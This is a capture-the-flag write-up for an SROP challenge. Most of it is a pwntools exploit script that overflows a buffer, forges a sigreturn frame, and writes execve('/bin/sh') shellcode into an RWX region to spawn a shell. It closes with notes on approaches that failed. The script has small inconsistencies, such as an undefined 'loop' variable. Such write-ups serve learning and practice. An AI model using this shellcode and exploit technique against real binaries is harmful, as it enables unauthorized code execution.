Rating:

# Summary
This is a "signal return rop" or "srop" challenge. srop allows you to have complete control over every register via a sigreturn frame. `pwntools` is used to create the frame because it's a pain to build it manually.
The srop will allow us to write shellcode into a read-write-execute region of the binary and as the final `rip` register, we jump to the beginning of that shellcode.

# Solution (`pwntools` template)
```
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments

io = start()

buf = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaaf"
buf_len = len(buf) # lazy way for me to get to the `rip` register

rwx = 0x402000
syscall = 0x40100e

t = 0x0401006 # mid-gets
p = 0x0401017 # mid-puts

shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # This shellcode doesn't work because it's it does a `mov al, 0x3b` which only moves 1 byte although much of `rax` contains other stuff so I need to overwrite at least `eax`
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO
frame.rip = loop
frame.rsi = 0x402500 # somewhere in the middle of rwx region
frame.rdx = 0x1000
frame.rsp = 0x402500

# We're doing a sigreturn method. Since 0x402000 is rwx
# We write 0xf via the "mid-gets" (t) - this is so that we can write stuff to a specific area without error. The main thing is needing to write an arbitrary number of bytes which during the `write` syscall, puts the number of bytes written into `eax`. That way, we can have the sigreturn up and working. Then we basically jump back to the loop but change the stack to the middle of the rwx section at 0x402000
# `filler` is useless here
xpl = fit({buf_len: p64(t) + p64(syscall) + bytes(frame) + p64(rwx)}, filler=b'\x90')
io.send(xpl)

# Writes the 0xf into eax via the syscall
pause()
io.send(cyclic(0xf))

# We write shellcode into the rwx section then figure out the alignment to jump back to the shellcode at the end
pause()
io.send(shellcode + cyclic(0x1fc - 18 - 9) + p64(0x402304)) # the weird cyclic() call is just to get to the `rip` register. I got lazy and just started adding and subtracting offsets until I got it

io.interactive()
```
### Other
I spent a lot of time butting my head against this binary during the CTF becuase I thought it would be a partial overwrite into the stack so I can run shellcode that's in the stack. The stack was `rwx` also. I kept thinking well I could try to execute shellcode on the stack- I could easily write to it but I didn't have the address- or I could write to this other `rwx` region in the code- I couldn't write to it easily but I did have the address. I went back and forth between the two and ultimately could neither make a partial overwrite work nor a stack leak.